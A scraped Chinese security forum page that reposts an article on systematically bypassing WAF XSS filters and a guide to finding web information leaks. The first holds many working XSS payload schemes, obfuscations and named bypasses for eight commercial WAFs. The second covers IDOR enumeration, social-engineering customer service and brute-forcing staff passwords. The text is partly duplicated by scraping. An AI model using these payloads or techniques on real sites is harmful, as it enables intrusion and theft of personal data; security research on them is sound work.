tag}组件的测试,可以按如下方式进行:</tag></tAg/x></tag{space}></tag//></tag%0a></tag%0d></tag%09>一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入。  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是" 。 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:<script src="http://example.com/malicious.js">绕过URL匹配正则表达式://example.com/xss.js[size=16]绕过 [/size]http(?s)://////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+
 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:<iframe srcdoc="<svg/onload=alert()>">
 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:<input type="text" value=""/onfocus="alert()$input">
基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
可以使用以下探针完成检查是否被WAF阻止:x"y
事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:{quote}>{any payload scheme from html context section}
 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。var name = '$input';
 Payload方案#1{quote}{delimiter}{javascript}{delimiter}{quote}
分隔符通常是JavaScipt运算符,诸如^ 。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
});[size=16]关闭当前的函数调用。[/size]第一个} 关闭if (age > 18)块。
第二个} 关闭if subscription块。alert();[size=16]用作测试的虚拟函数。[/size]if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size][size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]
它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: <a"/onclick=(confirm)()>click
旁路技术:非空白填充
名称: Wordfence
Payload: <a/href=javascript&colon;alert()>click
旁路技术:数字字符编码
名称: Barracuda
Payload: <a/href=Java%0a%0d%09script&colon;alert()>click
旁路技术:数字字符编码
名称: Akamai
payload: <d3v/onauxclick=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: <d3v/onmouseleave=[2].some(confirm)>click
旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: <details/open/ontoggle=alert()>
旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: <details/open/ontoggle=(confirm)()//
旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701 查看全部
 前言
本文提出了一种定义明确的方法来绕过跨站点脚本(XSS)安全机制,通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段:确定payload结构,测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后,必要时可以将payload进行混淆或其他调整。
 
 介绍
跨站点脚本(XSS)是最常见的Web应用程序漏洞之一。通过清理用户输入,基于上下文转义输出,正确使用文档对象模型(DOM)接收器和源,实施适当的跨域资源共享(CORS)策略和其他安全策略,可以完全阻止它。尽管这些防御技术是公共知识,但Web应用程序防火墙(WAF)或自定义过滤器被广泛用于添加另一层安全性,以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习,但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS payload的方法,该payload与这种安全机制使用的正则表达式不匹配。

 HTML CONTEXT
当用户输入被显示在网页的HTML代码中时,它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
  • 内标签–
    <input type="text" value="$input">
  • 外标签–
    <span>You entered $input</span>
 外标签此上下文的‘<'负责启动HTML标签。根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式:
  • <svg [size=16]– 如果通过,则不进行任何标签检查[/size]
  • <dev [size=16]– 如果失败, [/size]<[a-z]+
  • x<dev [size=16]– 如果通过,[/size]^<[a-z]+
  • <dEv[size=16] – 如果失败, [/size]<[a-zA-Z]+
  • <d3V[size=16] – 如果失败, [/size]<[a-zA-Z0-9]+
  • <d|3v[size=16] – 如果失败, [/size]<.+
如果安全机制不允许这些探针,则不能绕过它。由于误报率高,这种严格的规则不被鼓励去使用。如果上述的任何一个探针未被禁止,则有许多编写payload的方案。   Payload方案#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到适当的{tag}值后,下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行:
  • <tag xxx[size=16] – 如果失败,[/size]{space}
  • <tag%09xxx[size=16] – 如果失败,[/size][s]
  • <tag%09%09xxx[size=16] -如果失败, [/size]s+
  • <tag/xxx [size=16]– 如果失败,[/size][s/]+
  • <tag%0axxx [size=16]-如果失败, [/size][sn]+
  • <tag%0dxxx> [size=16]-如果失败, [/size][snr+]+
  • <tag/~/xxx[size=16] – 如果失败, [/size].*+
事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式onw+或黑名单相匹配,例如on(load|click|error|show)第一个正则表达式非常严格且不可能被绕过,然而有些不太知名的事件处理程序可能不在黑名单中,经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。
  • <tag{filler}onxxx[size=16] – 如果失败,[/size]onw+
  • [size=16]如果通过, [/size]on(load|click|error|show)
  • <tag{filler}onclick[size=16] – 如果通过,则没有事件处理程序检查正则表达式。[/size]
如果正则的结果是onw+,则不能绕过它,因为所有事件处理程序都以on开始。在这种情况下,应该继续下一个payload。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单,则应继续执行下一个payload。   根据我对WAF的经验,我发现一些事件处理程序没有在黑名单中:
[code]onauxclickondblclickoncontextmenuonmouseleaveontouchcancel
[/code]下一个要执行的组件是JavaScript代码。它是payload的活动部分,但是匹配它不需要假设正则表达式,因为JavaScript代码是活动的,因此无法通过预定义模式进行匹配。此时,payload的所有组件都放在一起,只需要关闭payload,通过以下方式完成:
  • <payload>
  • <payload
  • <payload{space}
  • <payload//
  • <payload%0a
  • <payload%0d
  • <payload%09
应该注意的是,HTML规范允许<tag{white space}{anything here}>这表明例如:
<a href='http://example.com' ny text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
是有效的HTML标签。因此,HTML标签的此属性使攻击者可以通过上述方式注入标签。 Payload方案#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试填充符(例如结束字符串)类似先前的payload方案。必须注意的是,可以在URL的末尾使用(如果在URL之后没有使用填充符),而不是结束标记。每个经过的字符都将被视为URL的一部分,直到遇到。通过使用<script>标记,很可能会被大多数安全规则检测到。标签<object>的payload可以用类似的payload方案编写:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
  Payload方案#3这个payload方案有两种变体:plain和obfuscatable。plain变体通常与诸如href[s]{0,}=[s]{0,}javascript:模式相匹配。其结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
obfuscatable payload变体有如下结构:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
这两个变体之间的显著差异是{special}组件和{quote}s。
{special}[size=16]指字符串[/size]javascript[size=16]的混淆版本,这可以使用换行符和水平制表符来混淆,如下所示:[/size]
  • j%0aAv%0dasCr%09ipt:
  • J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
  • J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
在某些情况下,数字字符编码也可用于绕过检测。可以使用十进制和十六进制。
  • Javascript&colon;
  • javascript:
显然有必要时两种混淆技术可以一起使用。
  • Java%0a%0d%09script&colon;
  可执行和不可执行上下文根据注入的payload是否可以在没有任何特殊帮助的情况下执行,外标签上下文可以进一步分为可执行和不可执行上下文。当用户输入显示在HTML注释中时,<--$input-->或者在以下标记之间,会发生不可执行的上下文:
[code]<style><title><noembed><template><noscript><textarea>
[/code]为了执行payload,必须关闭这些标签。因此测试可执行和非可执行上下文之间的唯一区别是{closing tag}组件的测试,可以按如下方式进行:
  • </tag>
  • </tAg/x>
  • </tag{space}>
  • </tag//>
  • </tag%0a>
  • </tag%0d>
  • </tag%09>
一旦发现有效的结束标签方案,{closing tag}{any payload from executable payload section} 就可以用于成功注入  内部标签 在属性值内/作为属性值此上下文的主字符是用于包含属性值的引号。例如,如果输入被显示为<input value="$input" type="text">那么主字符应该是 然而在某些情况下,主字符不需要突破上下文。 在事件处理程序内部如果输入显示在与事件处理程序关联的值中,例如,<tag event_handler="function($input)";触发事件处理程序将执行该值中存在的JavaScript。  在src属性里面如果输入被显示为src脚本或iframe标记的属性值,例如<script src="$input">,可以直接加载恶意脚本(在脚本标记的情况下)或网页(在iframe标记的情况下)如下:
<script src="http://example.com/malicious.js">
绕过URL匹配正则表达式:
  • //example.com/xss.js[size=16]绕过 [/size]http(?s)://
  • ////////example.com/xss.js[size=16]绕过[/size](?:http(?s):?)?//
  • ////\/example.com/xss.js[size=16]绕过 [/size](?:http(?s):?)?//+

 在srcdoc属性里面
如果输入被显示为srcdoc
iframe标签的属性值,例如<iframe srcdoc="$input">,可以提供一个转义(使用HTML实体)HTML文档作为payload,如下所示:
<iframe srcdoc="<svg/onload=alert()>">

 通用属性
上述所有情况都不需要任何旁路技术,除了最后一个可以使用HTML上下文部分中使用的技术绕过。讨论的案例并不常见,最常见的类型如下:
<input type="text" value=""/onfocus="alert()$input">

基于相关标签的交互性,它可以进而分为两类。

 可交互的
当输入显示在可以与例如点击,悬停,聚焦等交互的标签内时,突破上下文只需要引用一句话。在这种情况下的payload方案是:
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

可以使用以下探针完成检查是否被WAF阻止:
x"y

事件处理程序在这里起着重要作用,因为它是WAF可以检测到的唯一组件。每个标签都支持一些事件处理程序,并且由用户来查找这样的情况,但是有一些事件处理程序可以绑定到下面列出的任何标签:
[code]onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
[/code]
测试其余组件可以使用前面已经讨论过的方法。

 难控制的
当输入显示在无法与之交互的标签内时,需要使用标签本身来执行payload。这种情况的payload方案是:
{quote}>{any payload scheme from html context section}

 JavaScript上下文
 作为字符串变量
JavaScript上下文最常见的类型是字符串变量中的反射。这是因为开发人员通常将用户输入分配给变量而非直接使用它们。
var name = '$input';

 Payload方案#1
{quote}{delimiter}{javascript}{delimiter}{quote}

分隔符通常是JavaScipt运算符,诸如。例如,如果用户输入落在单个带引号的字符串变量中,则payload可能是:
[code]'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
[/code]

 Payload方案#2
{quote}{delimiter}{javascript}//
它与之前的payload方案类似,只是它使用单行注释来注释掉行中的其余代码以保持语法有效。可以使用的payload是:
[code]'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
[/code]
 在代码块中
输入经常被显示到代码块中。例如,如果用户已付费订阅且超过18岁,则网页会执行某些操作。具有反射输入的JavaScript代码如下所示:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('$input');
}
else{
console.log('Requirements not met.');
}
}
[/code]
假设我们没有为订阅付费。为了解决这个问题,我们需要绕过if (subscription)块,这可以通过关闭条件块,函数调用等来完成。如果用户输入是');}}alert();if(true){(',它将显示如下:
[code]function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
[/code]
这里有个缩进视图用于了解payload的工作原理:
function example(age, subscription){
if (subscription){
if (age > 18){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
}
}
);[size=16]关闭当前的函数调用。[/size]
第一个关闭if (age > 18)块。
第二个关闭if subscription块。
alert();[size=16]用作测试的虚拟函数。[/size]
if(true){[size=16]启动一个[/size]if [size=16]条件块以保持代码在语法上有效,因为代码后面有一个else块。[/size]
[size=16]最后,[/size]('[size=16]结合我们最初注入的函数调用的剩余部分。[/size]

它是您在wild遇到的最简单的代码块之一。为了简化打破代码块的过程,建议使用语法高亮显示器,例如Sublime Text。
payload的结构取决于代码本身,这种不确定性使得检测非常困难。但如果有需要,可以对代码进行混淆处理。例如,上面代码块的payload可以写成:
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('

如果输入显示到JavaScript代码中,无论它是在代码块还是变量字符串中,</scRipT{?filler}>{html context payload}都可以用于突破上下文并执行payload。这个payload方案应该在其他所有方面之前尝试,因为它很简单但也可能被检测到。

 当前绕过WAF方案
在研究期间,共绕过了8个WAF。我对这些供应商进行了披露,因此一些(或所有)旁路可能因此被修补。以下是绕过的WAF名称,payload和旁路技术列表:
名称: Cloudflare
payload: 
<a"/onclick=(confirm)()>click

旁路技术:非空白填充
名称: Wordfence
Payload: 
<a/href=javascript&colon;alert()>click

旁路技术:数字字符编码
名称: Barracuda
Payload: 
<a/href=Java%0a%0d%09script&colon;alert()>click

旁路技术:数字字符编码
名称: Akamai
payload: 
<d3v/onauxclick=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: Comodo
Payload: 
<d3v/onauxclick=(((confirm)))``>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: F5
payload: 
<d3v/onmouseleave=[2].some(confirm)>click

旁路技术:黑名单中缺少事件处理程序和函数调用混淆
名称: ModSecurity
payload: 
<details/open/ontoggle=alert()>

旁路技术:黑名单中缺少标签(或事件处理程序)
名称: dotdefender
payload: 
<details/open/ontoggle=(confirm)()//

旁路技术:黑名单中缺少标签或函数调用混淆以及可替换的结束标签
转自:https://www.anquanke.com/post/id/173701

挖洞技巧:信息泄露总结(转)

Web安全渗透main 发表了文章 • 0 个评论 • 91 次浏览 • 2019-03-20 12:23 • 来自相关话题

Web方面的信息泄露:

0x01  用户信息泄露:

①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
  ②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url] ④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。 

0x02  越权方面的用户信息泄露

①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。

在很多金融平台当中,在修改昵称那里或者查看个人信息那里,提交时抓包,修改其用户值为存在用户的任意值,那么就可能造成查看任意用户信息的问题。

如果你进入了一些内部员工平台,那么如果具有搜索功能,就比如你输入了员工工号然后它会返回这个员工的所有在职信息,那么此时你可以通过抓包批量进行提交员工工号,就可造成大范围的信息泄露。

随便买一个东西生成订单,如果此时权限控制不当,就可以越权查看到任意用户的订单,那么信息也自认而然的泄露出来了。

关于这方面,我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2014-083157.html
 ②:任意重置

如果权限控制不当,可导致任意用户密码修改的话,那么登录后就可查看该用户的任意信息,这也就导致了用户信息泄露。 ③:任意修改

在下单的时候修改其用户ID为任意存在用户的ID,然后下单,然后查看刚刚下单的信息,就可看到该用户的收货地址信息,只要对方设置了收货地址。



 

0x03 接口方面的用户信息泄露

很多业务网站在上线的时候都忘记把测试时的接口进行关闭,从而导致这个接口可以查询大量用户信息。那么此类接口怎么找呢?

其中之一的方法通过Github.com网站进行搜索相关域名进行查找。
关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0116563.html
 

0x04 注入方面的用户信息泄露

注入可以说是非常非常的严重,因为注入往往都能得到很多信息,如果没做好相关过滤以及防护,就可导致注入,从而数据库内的各种数据面对裸露的危险。 

0x05  服务器路径信息泄露

①:上传图片处

在上传图片处,这里我说下最可能存在问题的点,就是关于上传相关证明,进行实名制上传信息等功能页面,在上传图片时进行抓包,然后查看返回包,那么就可看到当前服务器的绝对路径信息。②:XML处

一些XML限制或删除不完全,可导致服务器等信息泄露。

详细例子:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0123762.html③:第三方的服务当中

很多,如:Apache Tomcat、Struts2、CMS、zabbix、Nginx等等,例如Nginx的某版本解析漏洞,就可造成路径信息泄露。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2013-019253.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04655.html

④:利用报错问题

在处理报错信息的问题上如果处理不当,就可导致路径信息泄露,比如访问一些不存在的文件等思路。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-010115.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2011-02219.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2012-09901.html

以上就是关于服务器路径信息泄露问题!
  

0x06  员工信息泄露

①:各第三方平台当中

Github,很不错的开源社区平台。一些员工喜欢将自己的信息上传到这平台上,但是往往忽视了安全,有时这上传的代码当中就可能包含很多内部测试员工的账户以及密码信息等。

关于这方面我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0177720.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0164337.html


在搜索QQ群那里,通过搜索企业昵称,往往都可以搜索出来关于企业员工或企业方面的信息,一般都会贴在公告当中,比如某某测试账户等。

当然,你也可以申请加入群进行查看群文件,看是否有铭感的信息。

这里我找到了相关例子:

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0128511.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-093927.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0208105.html


百度贴吧当中,一般都有公司员工创建的贴吧,如果安全意思不足,那么就会泄露相关员工工号,可用作暴力破解的字典。



②:弱密码问题

在一些涉及内部员工方面的系统,如果员工密码为弱密码,那么就可通过暴力破解方式进行尝试登录,如果成功爆破到了员工账户,那么一般只要是内部员工系统该账户都可以登录,那么所造成的影响也是很大的。

以上就是关于员工信息泄露的问题! 

0x07  数据库信息以及服务器信息泄露

①:各第三方平台当中

Github,一些员工如果安全意识不足,同样上传的代码当中就包含了数据库连接信息以及服务器信息。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0180848.html


利用搜索QQ群的思路,如果员工的安全意识不足,那么数据库连接信息以及服务器信息就会在公告或群文件当中②:XML处

同样在XML文件当中,也可能会发现数据库连接信息以及服务器信息。③:svn处

svn是一个开放源代码的版本控制系统,如果没有加以限制或者删除,那么就可以游览相关的比较隐蔽性的源码。

关于这类的问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0199607.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191202.html
④:数据库文件

一些数据库相关文件如果删除不当或者摆放位置不当,那么极有可能被下载下来,造成危害。

关于这方面,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0158556.html
⑤:其它文件

比如其它类型的文件,如Txt、Doc、Excel等文件,如果包含铭感信息,那么危害也是显而易见的。

以上就是关于数据库信息以及服务器信息泄露的问题! 查看全部
Web方面的信息泄露:


0x01  用户信息泄露:


①:评论处

一般用户评论处用户的信息都是加密的,比如显示的是用户手机号或邮箱等,就会直接对中间的一段数字进行加密,但是有些可能就没有加密,而是直接显示出来,那么这就造成了用户信息泄露问题。

如果加密不当,直接游览用户评论处时进行抓包,然后查看返回包就可以直接看到明文,但有的时候会有2个参数,就比如name:1333******1这个值是加密的,但后面还会有一个testname这个参数就没有进行加密,从而导致用户信息泄露。

这里有一些小技巧,就比如一个买卖市场,他有用户评论的地方,有一个秒杀抢购成功的展示用户的地方,还有一个是用户相互交流的地方,一般白帽子测试了第一个功能处发现不存在问题,然后就不继续测试其它相同功能处了,这个疏忽就可能会导致错过一个发现问题的机会,每个功能处,加密机制有时候就会被漏掉,就比如用户评论处用户信息加了密,但是秒杀抢购成功的展示用户的地方却没有加密,所以白帽子要更细心点。

一般评论处都会有一个追加评论功能和一个商家回复功能,那么此时如果对这个功能参数没有加以加密,那么通过抓包游览查看返回包就可看到追加评论的用户信息和商家信息。

有些评论功能当中支持艾特(@)他人,那么在这个评论当中你通过@他人,然后输入信息点击发送到评论处时,通关抓包就可看到刚刚@的那个用户的明文信息。

当这个网站评论地方被搜索引擎爬虫到了,那么可以尝试利用搜索命令site:XXXX.com inurl:XX目录在搜索引擎当中搜索,如果加密不完全,那么就可以在搜索引擎当中看到明文信息。

关于这类的信息泄露问题我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0104766.html
 
 
②:转账处

很多大型公司都有自家的金融平台,然后在转账处,当你输入对方的转账的账户,比如手机号或者邮箱,然后当你点击其它地方,它会向服务器发送一条验证信息,验证输入的此账户是否存在,如果存在,返回对应的手机号或者邮箱账户的用户姓名,比如*王(1333333XXX)这样的返回信息,那么如果此时前端加密不当,可以通过抓包拦截这条请求,查看返回信息,就可看到明文的姓名。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0124969.html

一般在转账处输入手机号或邮箱账户的旁边,有一个历史转账信息,一个迷你的小页面,当你点击后会看到之前转账成功的信息,但是,如果此页面加密不全,那么在点击查看历史转账信息时直接抓包查看返回内容就可看到明文的姓名。
③:搜索处

有些平台内置了搜索功能,跟搜索引擎思路很像,同样也是随意搜索,如果此时搜索的结果包含用户信息这块,那么就可能会导致用户信息泄露问题。

关于这类问题,我找到了相关例子:
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html[url=http://wooyun.jozxing.cc/static/bugs/wooyun-2014-069909.html]
[/url]
 
④:个人页面处

在个人页面当中,直接游览时直接抓包,查看返回包就可看到用户信息是否未加密完全。比如一些金融APP,如果加密不当,当点击个人界面时通过抓包查看返回包就可看到明文的身份证信息和用户名以及手机号。

当然这里不是只有涉及金融APP方面的才会有这个问题,只要是可以查看个人页面处都可能存在。

在查看银行卡信息那里,一般都是加了密的,但查看银行卡信息处时进行抓包查看返回包的时候就可看到明文的银行卡卡号信息和姓名信息。
⑤:客服处

这个问题属于客服安全方面意思不足,大一点的来看就是公司没有对客服进行安全培训等,当你询问客服某手机号对应的姓名时,客服就会直接把姓名发你,当然这要考验你是怎么问的了,还有如果失败了不要放弃,换一个客服继续测试。
 


0x02  越权方面的用户信息泄露


①:任意查看

很多平台需要进行实名制认证,在上传实名制所需要的身份证照片等信息图片时,如果没有对所产生的文件名格式进行复杂化的话,那么极有可能会存在任意查看,通过批量的方式就可以进行这些步骤,比如你上传了图片,服务器生成的图片地址是XXX.com/xxx/xx/012313.jpg这样短的数字格式文件名的话,就会存在该问题。

购物平台当中,在添加地址或修改地址的地方,如果权限没过滤好,就可以越权进行查看任意用户的地址信息。

在某些平台当中,支持添加子账户,然后随便添加一个子账户,然后在查看该子账户的时候进行抓包,修改其ID值,就可以查看任意账户信息

有些平台有操作日志或其它日志功能,那么如果此时对当前用户的权限过滤不当,那么就可以查看全部用户操作时产生的日志,从而导致信息泄露。
